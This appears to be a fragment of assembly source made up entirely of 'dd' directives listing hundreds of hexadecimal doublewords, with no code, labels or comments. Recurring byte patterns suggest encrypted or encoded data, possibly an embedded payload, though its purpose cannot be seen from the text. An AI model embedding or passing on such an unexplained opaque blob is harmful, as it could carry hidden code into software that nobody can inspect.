		dd 4226B967h, 5315F696h, 14792A70h, 664438FCh, 0C97C815h
		dd 0A298BD79h, 0A74FA414h, 243AFCh, 6E5E7AEh, 6611BB1Ah
		dd 70393215h, 0A7755374h, 0E32D78E0h, 99EECD7Ah, 39D965ECh
		dd 9F1BCA9Ch, 72D562E0h, 4215B931h, 668CF694h, 0E7243215h
		dd 452B28C6h, 729A530Fh, 80016431h, 6640F494h, 0A0A33215h
		dd 66113211h, 3AAC0692h, 6658BD1Ah, 423215h, 0E79FD094h
		dd 66883DFDh, 8B39115h,	64187498h, 0B68A6871h, 32F17732h
		dd 8AC7534Bh, 4226BB11h, 4D350694h, 0E98BD121h,	4D76B317h
		dd 6921D121h, 66113A98h, 64023D15h, 6443215h, 0D9756474h
		dd 57D64934h, 0A1F317ABh, 39BA1B24h, 8F7CC014h,	66113205h
		dd 9CB6EA74h, 88569785h, 4ED4DDE5h, 9CCABE4Ch, 66B2BB7Dh
		dd 4250BB15h, 662ABD1Ah, 0EF1E3215h, 66883217h,	0E3BB5375h
		dd 60302BC4h, 6619DBE0h, 0C9523215h, 0EB0B0DCEh, 0F3A9FB88h
		dd 60032BC4h, 0EF1D0BE0h, 69422030h, 66224D91h,	7C933D15h
		dd 6883215h, 66443FFCh,	4996215h, 0E56878E0h, 0F5EAD376h
		dd 80C52F50h, 670B3A7Ah, 4205B974h, 6368BB45h, 66443211h
		dd 0E126F296h, 9A4D1611h, 35AC069Eh, 0A5C5D19Ch, 66223211h
		dd 6615F194h, 7A0F3215h, 246E31h, 7655AABh, 66158946h
		dd 0A0093215h, 657128AEh, 88A3EC14h, 652428AEh,	0D061CA4Eh
		dd 69BBCDE9h, 66223D9Eh, 661BDB15h, 39CD3215h, 49CBE8h
		dd 50E288A3h, 3035269Eh, 0A009D49Ch, 66443211h,	0E126F496h
		dd 9E4D1621h, 38AC06EAh, 6640F694h, 7D73215h, 66113EFCh
		dd 5B6B8315h, 7F92C1FFh, 8E4E2FCCh, 4225CDBCh, 624CB34Ch
		dd 8F443215h, 66223210h, 0FED6B9ADh, 5277CB09h,	0A2C76A31h
		dd 67A23D11h, 9F113215h, 7B91B7D2h, 66443407h, 0EE2D3215h
		dd 6611320Ch, 668826FCh, 0EC3B3315h, 1D333F07h,	35118541h
		dd 0AD3FB7DFh, 0A9BBE778h, 97A7F56Eh, 66172025h, 6883215h
		dd 9E8FF295h, 1A9FB174h, 66172B84h, 66CAB61Ah, 6AAD3215h
		dd 10223215h, 76017A17h, 0B028349Dh, 0EB726D2Dh, 7EBC9288h
		dd 6605DB13h, 69A13215h, 4AA6212Ah, 0D8689ACAh,	0DE9E075Eh
		dd 98D742F5h, 0B5BB4268h, 4EF1B375h, 306378E5h,	6688B81Ah
		dd 71B3215h, 720BB7EAh,	74F83407h, 0B1883215h, 0F9772CA1h
		dd 0D8421DA5h, 0CE69FA14h, 0C9665938h, 4FF9B1FAh, 2242001h
		dd 646BB01Ah, 0A1703215h, 74501B90h, 66223313h,	67923D15h
		dd 9E883215h, 67C93D75h, 9A223215h, 2BB0B798h, 9974340Ch
		dd 0D82252C5h, 0D12D2923h, 0D39C53CDh, 6091A059h, 664439FCh
		dd 55BCA415h, 4ECC510Ah, 8AFB4493h, 78578F98h, 0D442340Fh
		dd 0A1905390h, 1F59543Bh, 0DB11C53Ch, 1FF3543Bh, 64CDD3Ch
		dd 1CCCF094h, 9A2574A1h, 664C527Dh, 422DBB15h, 0D2AC1E94h
		dd 3C12294Fh, 3C96F094h, 0EDE9640Eh, 74A8F7A8h,	76C03D13h
		dd 8F223215h, 6611321Eh, 602C6F0Bh, 0C6CB1F91h,	0DF6EB8ECh
		dd 99EECDEAh, 668837FCh, 0F711AC15h, 0A6136CC8h, 66113CFCh
		dd 0AC2AC415h, 6A075E6Bh, 4C77F36Eh, 0E5C5EE00h, 6A0136F9h
		dd 66448B31h, 97233215h, 9348339Fh, 6A61FA25h, 0FC443215h
		dd 0AD68DD81h, 2C082B83h, 34CF90E0h, 664433AFh,	3CF43315h
		dd 66113DFCh, 0E014CA15h, 0DD5A9E67h, 0E2351135h, 7DC4D379h
		dd 0E70F06EAh, 0ED31621h, 537A2B9Ah, 7F9E5A82h,	6693B01Ah
		dd 37243215h, 6630DB4Fh, 34613215h, 662CD506h, 0F60494D3h
		dd 0A806BC1Eh, 955C17D2h, 6E61F374h, 6648BC1Ah,	69423215h
		dd 66113294h, 0E315415h, 0A77553D8h, 6623B91Ah,	2CE93215h
		dd 99DCB71Ah, 63ADCDEAh, 44223215h, 0B0D038E0h,	42A4B344h
		dd 38D76AFFh, 0E506369Eh, 8C1436D1h, 8FD6A14Dh,	66443219h
		dd 9F40653Ch, 154977F1h, 6DB9BC1Bh, 6645B81Ah, 0E5DA3215h
		dd 629836F9h, 429CC531h, 6643DB4Dh, 1E033215h, 0B59DE34Eh
		dd 0E3B1CA72h, 6056362Ch, 6688B61Ah, 6FF83215h,	9E883215h
		dd 0B71C343h, 0E7C3D29Ah, 661122FCh, 0A474D515h, 9471C6AEh
		dd 0DD95473Dh, 0D36227BEh, 7BB8A7Ch, 55614763h,	0A76FA258h
		dd 0DB4437F5h, 66883215h, 3BD1F73Ch, 4C3FC230h,	7FB11F03h
		dd 61612637h, 0D1443215h, 7E81B7EBh, 0A61A92C3h, 6697B71Ah
		dd 8F243215h, 66223218h, 21E4A328h, 55093B71h, 8CFE321Dh
		dd 0E3E553BFh, 60033E38h, 66883214h, 62FC62E9h,	35568A75h
		dd 0B83E26AEh, 3D500368h, 0CC7EC518h, 0A7F2C53Ch, 8C3434FDh
		dd 53E1963Dh, 67756BAFh, 697AF314h, 66113590h, 670D3D15h
		dd 9E443215h, 72CB5274h, 0F3113215h, 13B83505h,	0F38123DAh
		dd 3ED0376Bh, 0EFC0FCD3h, 37D623B3h, 42A6B373h,	934369F5h
		dd 568D8C43h, 900926BAh, 3BAA3E35h, 88A3E4E2h, 56D0564Bh
		dd 55F38A45h, 0A0451631h, 0FFE4B34Dh, 0EFA3F7ACh, 0E6876CE4h
		dd 6644321Fh, 0B7A95475h, 0B90972AAh, 0EDD5308h, 17813D83h
		dd 8BA37F48h, 13FE5362h, 58BBDF94h, 8CCDABB2h, 0E7061E9Eh
		dd 661136D1h, 61033D15h, 6443215h, 34E8FA95h, 6BC534Fh
		dd 7761E39Eh, 8D443215h, 4087AE38h, 0E920F862h,	94141691h
		dd 850BC7BCh, 2F97BB74h, 9F172026h, 6689BE1Ah, 31B13215h
		dd 303918AAh, 35D6B368h, 0E7ABE76Ah, 4DDE4FE2h,	9EAB62B4h
		dd 3EED749Ch, 0E774524Ah, 502AC9FFh, 881F5378h,	69FFDCFBh
		dd 6688E090h, 58C5CB15h, 0BBFFEFC8h, 66D4B71Ah,	0EA873215h
		dd 66443212h, 6623BC1Ah, 34E43215h, 1FB687AFh, 60AEF372h
		dd 84E3E0E2h, 0B1AF6410h, 0E7A56F32h, 0B72864D3h, 0EBCCB363h
		dd 57C6D926h, 70016CE7h, 6643DB4Fh, 4FFA3215h, 0A9FFF977h
		dd 623765E5h, 0E7443215h, 0C06EB9FBh, 0E7EF3353h, 0C0C4B9D3h
		dd 6DAD6D53h, 7A223215h, 94A0D6E0h, 0E6A08579h,	0D3CDEFF8h
		dd 6030015Ch, 8CFDB275h, 4341B375h, 111B6Ch, 743FC9Eh
		dd 6610B21Ah, 8F743215h, 66441E39h, 6623BE1Ah, 8FE83215h
		dd 6688321Ch, 1283D529h, 0B8C1CE83h, 988BDB38h,	0EC87CDEAh
		dd 6644320Ah, 6631DB75h, 0E1F03215h, 0E4610CACh, 3A3C8AAh
		dd 36AC8DA3h, 0CDE15814h, 419A8C7Dh, 3625516Dh,	0DF063694h
		dd 3D191238h, 4C148D42h, 0A1C52507h, 972C3108h,	8F4EC93Ch
		dd 66883213h, 4E0A5E2Eh, 0E31176D4h, 60033E38h,	8F7B8175h
		dd 6644321Bh, 3D55BFCCh, 1527CC63h, 3DA4CC39h, 6925D100h
		dd 66223391h, 0AED0CA15h, 0E7EE5216h, 0E78472CCh, 0FB526BCFh
		dd 0ED1E5351h, 6688321Fh, 664437FCh, 2C6F8015h,	0B61450B4h
		dd 4FBD5117h, 0D6FD63C5h, 91784F24h, 0E7C8C5C4h, 67B45BE4h
		dd 5D8DB314h, 0E76F4727h, 0EF39FBD4h, 7279B36Eh, 4FAA577Fh
		dd 0E82D6BDDh, 66113214h, 7648F3E0h, 664435FCh,	5360C615h
		dd 0DE4E6865h, 6161FA24h, 2B443215h, 0CB1D3B1Fh, 0FB982BCFh
		dd 609A3E38h, 8CC552E9h, 5718AE97h, 7CA8D1Ah, 67883228h
		dd 9FC73D15h, 9E223214h, 0DDAA0C94h, 0E38789AEh, 664433F9h
		dd 662237FCh, 7B380F15h
		dd 0EDFE2E9h, 217A26EBh, 4FEDB34Ah, 0E7655A24h,	1C61E8FAh
		dd 397ABB61h, 0B72014D4h, 2C27B33Bh, 698E348Dh,	66442198h
		dd 662CDB15h, 6C063215h, 6A1DB1FEh, 8FFD5A10h, 864E67AEh
		dd 6610BA1Ah, 367D3215h, 66408847h, 0B6AB3215h,	3ED7334Fh
		dd 668838FCh, 3D11BA15h, 0DD20A989h, 0EF54F121h, 74BB7BA0h
		dd 0EDB1CB13h, 7438FF88h, 55EECB13h, 0E7AC3E9Eh, 664436D1h
		dd 6ACBCE15h, 2E113215h, 303366CAh, 31C623F7h, 36603A80h
		dd 0E735269Eh, 668836D1h, 8FFB5215h, 697B90BCh,	66113F9Dh
		dd 6680DB15h, 38CE3215h, 68C69E35h, 670BD6Ch, 0F44AB375h
		dd 6940B160h, 66223298h, 0D8795315h, 0EF88327Fh, 62C51601h
		dd 0CB78DC31h, 883C6A10h, 68D9F4Fh, 31BBDC94h, 63CA0BE7h
		dd 0E0113215h, 0D58CF4EBh, 71B6C44h, 553BB73Eh,	6BF83407h
		dd 6D883215h, 93BD67A3h, 8F09070Ah, 6D9AB00h, 6698B61Ah
		dd 6DAD3215h, 5D223215h, 3079DE7Eh, 45D6ADF4h, 86856520h
		dd 6EA23D17h, 69113215h, 66883095h, 65255215h, 743BAF90h
		dd 0ED775213h, 668DDBE7h, 0BA263215h, 76A2CAEh,	665EA67Dh
		dd 428CBB15h, 8F1A6A43h, 66223205h, 0E881AFDFh,	630BE9B6h
		dd 0A4FA3130h, 6DE3EB60h, 6B9D3DB8h, 8F883215h,	6644321Dh
		dd 44CED7DFh, 0B040B51Ch, 0BCF58838h, 358C3313h, 1C38D8AEh
		dd 24E2B34Ah, 2DC86E41h, 0B6A9D994h, 0BE232A5Eh, 661EDB4Eh
		dd 9163215h, 362DEC52h,	8C33A887h, 7EC5B62Ah, 42CCBB64h
		dd 67C93D09h, 9E223215h, 61923D74h, 69883215h, 6644339Eh
		dd 2ECBC715h, 6113216h,	66883AFDh, 0CC18A715h, 0AA25BEF0h
		dd 3F7052C5h, 6683DA43h, 431E3215h, 2D3B3A37h, 7AD37DFBh
		dd 7D26C54h, 0E7A1BB40h, 662236D0h, 62FCB115h, 3AAC1E92h
		dd 69603E9Ch, 6622259Ah, 77923D15h, 8F883215h, 66443219h
		dd 0DE83B2D9h, 2C0C2527h, 0BC15D684h, 6666387Dh, 4236BB15h
		dd 66113AFCh, 0E42EE15h, 39F89901h, 6EB03FFh, 6DF8BAA7h
		dd 3F883215h, 69B542C7h, 0E101E202h, 6970D44Eh,	66882C91h
		dd 0A5C55215h, 6860469Bh, 661123FCh, 0EBD7A715h, 0B310C38h
		dd 2ABC4BDAh, 5927E0FAh, 0EDE924E5h, 745E3380h,	6419C713h
		dd 668FB61Ah, 0DDE83215h, 2DD7254Eh, 66A53D44h,	38113215h
		dd 62376574h, 67443215h, 421EB9EFh, 8F15F696h, 6688321Ch
		dd 8CE23251h, 0FF32951Bh, 0DC43CAA8h, 9977CDEAh, 691EE33Ch
		dd 6622339Ah, 0EB2ACE15h, 609A179Ch, 99F4B71Ah,	6942CDEAh
		dd 0E70CBAAh, 66883215h, 0E560369Eh, 0EBD736D1h, 745F7998h
		dd 6685DB13h, 27063215h, 0A4F70C18h, 8F80FB4Fh,	8F5D9016h
		dd 6644321Fh, 56FD7644h, 0B0D6DB28h, 87774D70h,	6645BC1Ah
		dd 8FD73215h, 66113205h, 54EF5AA6h, 9D429729h, 65896B04h
		dd 5E8185F1h, 7F59BF9Ch, 99B13407h, 0E5781621h,	68F836D1h
		dd 58883215h, 4970C5ACh, 0BA27FAB1h, 0E13815B1h, 42BCCD24h
		dd 6280B14Ch, 66223CFCh, 2D198615h, 0CB58731Ah,	3F692480h
		dd 0E8EFB0Ah, 6611180Ch, 69AC069Ch, 66442B9Eh, 6636DB15h
		dd 0CF5F3215h, 5378468Ch, 0A4323533h, 4C6A5E68h, 216371BFh
		dd 0FB0313BEh, 605628D8h, 6629BD1Ah, 60F83215h,	27883215h
		dd 0F96C3E37h, 0E711CD0Ah, 56B1611h, 30D168F2h,	314A9FABh
		dd 88A37478h, 0CC97B07h, 918DD4D4h, 60AAB3CBh, 4F770DFCh
		dd 8E716CE4h, 6688321Fh, 0BADCB5DFh, 1489505Ch,	68AA6CCAh
		dd 38EF0FA9h, 664421FCh, 0CA27EA15h, 0A2A5A74Eh, 6CD981D7h
		dd 3BCDB410h, 4095F860h, 0B794B974h, 68E200Ch, 69BDB973h
		dd 6943E9A2h, 66113A9Eh, 97035215h, 2C228873h, 69C2E374h
		dd 66112A9Dh, 0E3875215h, 66443215h, 662239FCh,	717AA615h
		dd 3098ECC9h, 0F545398Ch, 67A83D74h, 9E113215h,	4B0DB716h
		dd 6243407h, 66223BFCh,	0AF49F915h, 0C39797B2h,	0EA4B8F92h
		dd 66223215h, 60953D74h, 0E7883215h, 5A5696D4h,	90135316h
		dd 6601DBE9h, 0F28B3215h, 9D1E76C3h, 731B0D20h,	739A84BCh
		dd 30D8BB46h, 4270B94Dh, 6926F696h, 66113599h, 670F3D15h
		dd 9E443215h, 0A7D79F73h, 0E21E30F5h, 6688321Eh, 664434FCh
		dd 0C09B6D15h, 65D70094h, 7491AF90h, 6654DB13h,	0E1F23215h
		dd 741F1D2Bh, 6AD2251Ch, 0C7A7AD5h, 8AA12D32h, 4215BB11h
		dd 93D66A43h, 6655DBB8h, 105E3215h, 0D02B204Ch,	7F2AEDF3h
		dd 0C4B60598h, 6313483Bh, 2D9C1573h, 0D8DEFA14h, 554929BEh
		dd 9267DC94h, 9638D56Ah, 5133524Bh, 9E4169FCh, 4216CD74h
		dd 62D5B34Bh, 6883215h,	6F1F37AEh, 7B995415h, 0E67153E8h
		dd 0DFEE34F8h, 0E52537D5h, 74369FA8h, 0E21E3313h, 6688331Bh
		dd 664ADA75h, 57873215h, 94561105h, 39563707h, 0B3B4E649h
		dd 251CC194h, 0DF4F210Eh, 57ED2DF5h, 97C90974h,	69242002h
		dd 6611D391h, 0E0875215h, 66443216h, 30DBB973h,	0EB2A534Ah
		dd 609A0148h, 668CB61Ah, 6DCB3215h, 6E113215h, 0BD5EA7F8h
		dd 633EE861h, 0EB19ADA3h, 60031DC4h, 6624B61Ah,	6B13215h
		dd 0AF953DE0h, 0D98CBF74h, 68E2BFBh, 699A851Ah,	66223793h
		dd 0F2148A15h, 8FE96F21h, 66443207h, 10F6780Bh,	0D7528DF4h
		dd 0F07A9182h, 3F9B91A7h, 0B5DD2D2Ch, 6610B81Ah, 36743215h
		dd 0E7600E9Eh, 662236D1h, 6A9A3D15h, 69883215h,	6644349Bh
		dd 66A23D15h, 0EF113215h, 749F9790h, 6AC13D13h,	69223215h
		dd 6611349Ch, 660F3D15h, 8F443215h, 66222D36h, 6602DA75h
		dd 0ECC63215h, 158C000Eh, 5C4D696Bh, 0E21FFB74h, 0E3698EE0h
		dd 6655DBC9h, 0BC173215h, 0C7490144h, 173C0275h, 1F1737CCh
		dd 3CC07FCFh, 41E3B373h, 0FB0553AFh, 605DDCAAh,	6627B71Ah
		dd 37713215h, 99E9C74Bh, 0DBC7CBC6h, 603026B8h,	14953D15h
		dd 6883215h, 6642B91Ah,	0E92D3215h, 66113215h, 0D70D0974h
		dd 6942203Ah, 66221C91h, 73963D15h, 6883215h, 664439FCh
		dd 0EADCBE15h, 0B677CDE3h, 69D7F5CDh, 7D7E495h,	6A1FB72Eh
		dd 0E31E3407h, 66883224h, 6645B21Ah, 8FDB3215h,	99EECCF8h
		dd 6684B31Ah, 0E74B3215h, 66223213h, 6611BB1Ah,	0EF873215h
		dd 66443218h, 66223AFCh, 9CC41415h, 0A7DA2C50h,	53C109DBh
		dd 69242026h, 66114D90h, 0DFEE5215h, 0E525D09Ch, 742CDBA8h
		dd 0E21E3213h, 6688323Ah, 6648BE1Ah, 0E62D3215h, 66113213h
		dd 6688B01Ah, 0DBC73215h, 6030061Ch, 2B953D15h,	8F883215h
		dd 6644321Eh, 17E64B40h, 24D31F5Ch, 0EB9E9F16h,	7F7F0C90h
		dd 705213h, 748EA9Eh, 99765AFCh, 61AD52EAh, 0A0223215h
		dd 1F7545E5h, 8FE80880h, 66443206h, 0AADDEE93h,	552BA3BDh
		dd 1AECFEEEh, 0A1FA1C6Bh, 69FED3C0h, 770F5A2h, 55BDB72Eh
		dd 0E24B3407h, 99DDCC24h, 6ACB1EDh, 678E2B84h, 663DB71Ah
		dd 0ED2D3215h, 66113202h, 668820FCh, 0D1EE7415h, 24D5713h
		dd 93AC40A4h, 559B4CEEh, 5D2C3EF7h, 7FB3A690h, 36943D13h
		dd 6883215h, 7A5B8E9h, 662220FCh, 0E4AC3315h, 72AA4B5Eh
		dd 766E9CB0h, 50509297h, 0EBAA6F8Ah, 3F83D690h,	0D94B5215h
		dd 8F43CAEFh, 99EECC16h, 6695B91Ah, 0E34B3215h,	66223202h
		dd 661120FCh, 77E94015h, 0ADADDB92h, 0FCB4987Ah, 60B3A48h
		dd 577D56E6h, 13FC52EAh, 8F344D6Fh, 66113219h, 4EBDCC2h
		dd 5F3399D8h, 0BD2F3E08h, 0BACB174h, 668E2034h,	766DB61Ah
		dd 5DDA3215h, 7F80B290h
		dd 540D3D13h, 8F443215h, 66223212h, 0DB38AF38h,	0EDF5652Fh
		dd 7452FF90h, 0DC445213h, 7ED13B6h, 66898847h, 0B1453215h
		dd 6629DB4Fh, 0D9F03215h, 0C51F8356h, 0C5F6A4E7h, 0EEA709CAh
		dd 69172B84h, 66886890h, 67CA3D15h, 9F223215h, 65D8B79Eh
		dd 0E7E83407h, 35216AD3h, 6630DA21h, 0D0503215h, 0F5C4D0E6h
		dd 3196049Ah, 94317DB0h, 0F1E7C6B3h, 6688BD1Ah,	71A3215h
		dd 66238946h, 0B9103215h, 7760524Eh, 0BD443215h, 2F1835CFh
		dd 0B9FFE9F5h, 0BF421DAFh, 5FC4C6BDh, 796847h, 5D70CC9Eh
		dd 7F19B690h, 34C13D13h, 69223215h, 66113A98h, 3EDF5215h
		dd 7B578D73h, 0CBA7B974h, 69172004h, 66882592h,	6656DB15h
		dd 3CCE3215h, 0EDDA27C6h, 2DFB315Dh, 4D0C715Dh,	0D9701607h
		dd 66108C43h, 91893215h, 6657DB4Bh, 71E3215h, 0E1F64E2Eh
		dd 0F689847Ah, 0E7996017h, 667891AAh, 0EA9409C9h, 698E2B84h
		dd 66441490h, 67A13D15h, 93113215h, 4615B79Eh, 0EE4B3407h
		dd 66223214h, 99A863ECh, 4F77CDEAh, 37246BDAh, 697C6847h
		dd 5D70FCAAh, 7F19A290h, 5DC13D13h, 69223215h, 6611339Bh
		dd 0E303C715h, 60562AE0h, 6623B01Ah, 33ED3215h,	30D5FCA8h
		dd 64A1F30Ah, 6D5FD794h, 0BBE61335h, 9A41DF94h,	896DECEAh
		dd 662ADB48h, 2FE23215h, 22488A7Ah, 0E37FD109h,	603BA381h
		dd 662EB71Ah, 0EDE83215h, 0B9CF54D4h, 9FA7B974h, 6172026h
		dd 3FD76347h, 78AB973h,	0A6ECB375h, 69337D9Fh, 66883490h
		dd 66CA3D15h, 7223215h,	66108C43h, 91893215h, 6643DB4Bh
		dd 0E2853215h, 7CDA2C69h, 0FE0D0954h, 69422B84h, 66220C90h
		dd 6600DB15h, 94153215h, 91A58CD5h, 75466F9h, 5F173178h
		dd 0ED785B2Bh, 7447AB90h, 6CAF3D13h, 6113215h, 0E287C89Eh
		dd 66443215h, 0F79B6374h, 9174876Ch, 979B3C4h, 67DE7893h
		dd 5DDE6BDAh, 7F80AE90h, 70D3D13h, 69443215h, 66222497h
		dd 6600DB15h, 2F603215h, 69E65FD3h, 194BD52Bh, 9DBA6377h
		dd 69AD6411h, 6644339Dh, 0E3A9CB15h, 600335C4h,	668820FCh
		dd 0FF5C5E15h, 10C53720h, 0C5F8C3F7h, 0C554D8C9h, 0E49E274h
		dd 66222FE8h, 99350E9Ch, 93D71611h, 66443DFCh, 521A0715h
		dd 0EC1BE63Bh, 626C00AAh, 154D243Ch, 0F782B72Eh, 0E31E340Ch
		dd 66883223h, 664CB11Ah, 0ED2D3215h, 66113217h,	0E3035375h
		dd 60561D08h, 662220FCh, 9D96B115h, 0F70E6FF5h,	0F6A9B77Dh
		dd 0D6EE86Bh, 359BAC9Ah, 668833AEh, 3D9B3315h, 0E319CAEDh
		dd 6008A3B1h, 66CFB71Ah, 0E44B3215h, 66223212h,	69EFB875h
		dd 0EDE9F4AAh, 74689390h, 0E32DC713h, 66113214h, 5A3260EDh
		dd 9119B461h, 0E7F8C5C7h, 0F06043D7h, 564AB368h, 0E755BC21h
		dd 0CD3BEDFFh, 3CC61BF9h, 66883AFCh, 0C732A615h, 0CD71BDC3h
		dd 0CA940998h, 698E2B84h, 66446790h, 0ED445215h, 6616DBC2h
		dd 231D3215h, 528987FAh, 0E3A953F8h, 600310FCh,	668820FCh
		dd 3122FE15h, 5A85288Ch, 0D0CEA85Dh, 4DE93EA4h,	69148070h
		dd 66223A99h, 88905215h, 76197F98h, 99FC6274h, 4FDDCDEAh
		dd 6E86AD2h, 5F6EB373h,	64C73D9Bh, 35223215h, 0E32A534Bh
		dd 6091A3BDh, 667DB71Ah, 0E5DA3215h, 740613A8h,	0E3873213h
		dd 6644323Eh, 662EBA1Ah, 713215h, 0E73198ADh, 0B1C6EBDCh
		dd 0EDDE5348h, 740E2F90h, 0D9875213h, 0BFFB3DC2h, 679C6474h
		dd 67113215h, 0E57D6CE2h, 744787A8h, 0E22D3213h, 6611324Fh
		dd 0A53F3D75h, 52C10974h, 69242B87h, 66117B90h,	67093D15h
		dd 9F443215h, 4F37B79Eh, 75F83407h, 91883215h, 3F9F3396h
		dd 4E4BF418h, 0F79CC947h, 0D6D9EBB0h, 24F814h, 6910F4AFh
		dd 66113294h, 0DED85315h, 66443214h, 8F7AF514h,	6611321Fh
		dd 0B4137E7Fh, 98AA6A1Fh, 0DBA10A6Bh, 60031C74h, 370C3D15h
		dd 69443217h, 66223D91h, 661BDB15h, 8A6E3215h, 3C0ABC00h
		dd 80BCA1D8h, 72F88F96h, 69883407h, 66461D91h, 76AD3D15h
		dd 8F113215h, 6688321Eh, 8872F19Ah, 31797499h, 6D0ACA1h
		dd 5DE9FD9Eh, 7FD62A90h, 40A73D13h, 8F113215h, 66883205h
		dd 5F9D0FF5h, 2E4B148Ah, 0DB744E94h, 0DB205A8Bh, 65A9B79Eh
		dd 34DE3407h, 661133AFh, 3C5F3315h, 4EC109E0h, 69242B87h
		dd 66116390h, 67093D15h, 93443215h, 0AEA95475h,	6615B41Ah
		dd 0DFEE3215h, 0ED250C6Eh, 743E9B90h, 0DD42CB13h, 9977CDEAh
		dd 691FED3Ch, 66223E9Ah, 6616DB15h, 59603215h, 3E70A0A7h
		dd 75A33D7Dh, 8F113215h, 6688321Bh, 23E0789Bh, 0BD5DEA0Dh
		dd 4006973Ah, 0E3B3BA84h, 605DA009h, 6669B71Ah,	74F83215h
		dd 22883215h, 0B75B832Eh, 0DDF039Dh, 89988A0Bh,	0A41A1ABCh
		dd 33C1B994h, 69242002h, 66113593h, 0BF035215h,	7BE8D1Ah
		dd 66238A45h, 0A1103215h, 669BDB4Dh, 37CA3215h,	7B52BC8Ah
		dd 0EC254628h, 0A638982Ch, 0CC23A299h, 4AA7094Bh, 69172B87h
		dd 66885190h, 76AC5215h, 55223215h, 1A0C9BFFh, 932DF7F4h
		dd 14ED9E6h, 392EB011h,	661135FCh, 31C57315h, 0F6B235B3h
		dd 0E3A7B974h, 617200Ah, 1A6E8873h, 6657BE1Ah, 68CB3215h
		dd 46113215h, 0A7333724h, 7E70E080h, 0E04E21C4h, 0B19653D7h
		dd 6689F094h, 0B1C33215h, 0EF2D5275h, 66113215h, 296AB374h
		dd 754AF0Bh, 0F412B72Eh, 0E31E340Ch, 66883208h,	0ABC1B9E9h
		dd 8F242001h, 66113212h, 44AF6581h, 33D10E17h, 99DDCDA8h
		dd 3BFE1BEAh, 460D09EDh, 69422B87h, 66220590h, 699B3D15h
		dd 8F883215h, 6644321Fh, 88B7073Ch, 0A37466A4h,	0ED7DD074h
		dd 746F3790h, 6624DB13h, 2EC33215h, 7FC3D055h, 99BB8F40h
		dd 890BCDEAh, 67933D48h, 9E883215h, 0F460B72Eh,	0E32D340Ch
		dd 6611325Dh, 0AFA8975h, 86C471A4h, 69CB53E3h, 3B113215h
		dd 55B8875Dh, 3A00B29Ch, 0E0D5199Eh, 0E39AEDFEh, 609A3170h
		dd 0FFD58975h, 0A0A32805h, 0B75C91Ch, 67326074h, 67443215h
		dd 0EC2D68C2h, 6611321Dh, 668AB61Ah, 7243215h, 72CB8F96h
		dd 69113407h, 6681AC91h, 664EDB15h, 600F3215h, 0DA74E7A6h
		dd 3EC91E4h, 8FC55475h,	5D43FFC4h, 7F808290h, 7A0D3D13h
		dd 9E443215h, 44DBB79Eh, 8FED3407h, 66883210h, 56EE8B4Eh
		dd 679F670Bh, 67113215h, 5D716FFAh, 7FD67690h, 7A73D13h
		dd 69113215h, 66883A9Bh, 64CB3D15h, 6223215h, 0A394B974h
		dd 68E200Eh, 0C75256AFh, 7FCB962h, 660FBC1Ah, 0EDE83215h
		dd 6650DACCh, 0D4313215h, 80D130Bh, 7B9B42F1h, 51FF913Bh
		dd 1E874475h, 7485D8Ah,	3BD76742h, 8FABB550h, 66223213h
		dd 0E0F6E7D0h, 8FE8A54Eh, 66443213h, 75CF7453h,	7E9F57Dh
		dd 0F73CB72Eh, 0E34B340Ch, 66223239h, 661137FCh, 359F3A15h
		dd 0E3CF9026h, 603026B4h, 661DBC1Ah, 69E83215h,	6644329Bh
		dd 0D19A5415h, 0DD4253C9h, 66883214h, 9F1FED14h, 0F79AB72Eh
		dd 0E31E340Ch, 6688320Bh, 0BFC1B9ECh, 6242030h,	28DAB373h
		dd 759B82Fh, 66458F40h,	89233215h, 0D11E5248h, 0E3B353C6h
		dd 605DA3A9h, 6613B71Ah, 0EF1E3215h, 66883214h,	5BC1B9ECh
		dd 93242012h, 0A490E592h, 66883214h, 72ADE592h,	26223215h
		dd 581297B6h, 0D061D8E6h, 0F6AAC0DEh, 433D171Ch, 5DBE8440h
		dd 7F19F290h, 0C13D13h,	6223215h, 745B8973h, 7C4DE95h
		dd 71658F96h, 69223407h, 66116290h, 0B6095215h,	66B60F0Ah
		dd 6627BD1Ah, 6FAB3215h
		dd 7DF189Ch, 7C01B79Eh,	0E22D3407h, 66113212h, 6689BB1Ah
		dd 69B83215h, 66223E90h, 60923D15h, 69883215h, 66443292h
		dd 62CEB115h, 99350E9Ch, 8FD71611h, 6644321Ch, 0A782B5F7h
		dd 65A7A319h, 0A20D0994h, 69422B84h, 66226990h,	7F9B3D15h
		dd 8F883215h, 66443201h, 0FEB9508Ch, 83AE8185h,	1BADA9Ah
		dd 0D52D2169h, 0FD4B59B3h, 661FDB75h, 0F9B13215h, 0E70C5B33h
		dd 0F89F5769h, 5AC9A7Dh, 7528D1Ah, 7F85B79Eh, 33DE3407h
		dd 661133A8h, 3B673315h, 664AB01Ah, 6FCB3215h, 73113215h
		dd 7C039F03h, 0FDA96C94h, 0F7EAB72Eh, 0E31E340Ch, 66883245h
		dd 47F9B1ECh, 66242002h, 6653B71Ah, 0E8873215h,	6644321Bh
		dd 17E9B375h, 0E74AF86Fh, 4FDD0DFh, 0E3CF533Ch,	603035ECh
		dd 99AC67E0h, 4F77CDEAh, 69B16FFAh, 6622259Dh, 6603DB15h
		dd 0BF513215h, 6F237748h, 0EBECF807h, 0CB171D33h, 1DE4C4EEh
		dd 0F788B72Eh, 0E32D340Ch, 66113255h, 2F18A75h,	61227A1h
		dd 0ED436B74h, 743AEF90h, 6684DB13h, 914F3215h,	5C7BBCF3h
		dd 0D21358BEh, 0D8DEC88Eh, 99BBCDEAh, 937CC53Ch, 66113DFCh
		dd 493FAB15h, 64A9FD14h, 79C1F9D8h, 0D862BAC6h,	0F758B72Eh
		dd 0E34B340Ch, 66223255h, 6610B41Ah, 0ED703215h, 744D3B90h
		dd 6CA63D13h, 6113215h,	0FBADBABh, 0FFB6B26Ch, 679A6274h
		dd 67113215h, 0E2876AD2h, 66443201h, 66223DFCh,	958A6915h
		dd 0D5D595A4h, 0B0875DCFh, 81CE2A7Ch, 0F7C9B72Eh, 0E387340Ch
		dd 66443252h, 479FB1E9h, 66172002h, 66B1B71Ah, 0E7243215h
		dd 0DEE9CBD7h, 705810Ch, 7505B79Eh, 0E74B3407h,	66223212h
		dd 6610BB1Ah, 35713215h, 664433AEh, 3DFD3315h, 6610BC1Ah
		dd 8F713215h, 66443212h, 0DA9EA8AAh, 5D600EEBh,	7F19E690h
		dd 0BC13D13h, 8F223215h, 6611321Bh, 0AB93A956h,	84D4135Fh
		dd 4D5952Eh, 0DB92144Ch, 609A2534h, 2BC13D15h, 69223215h
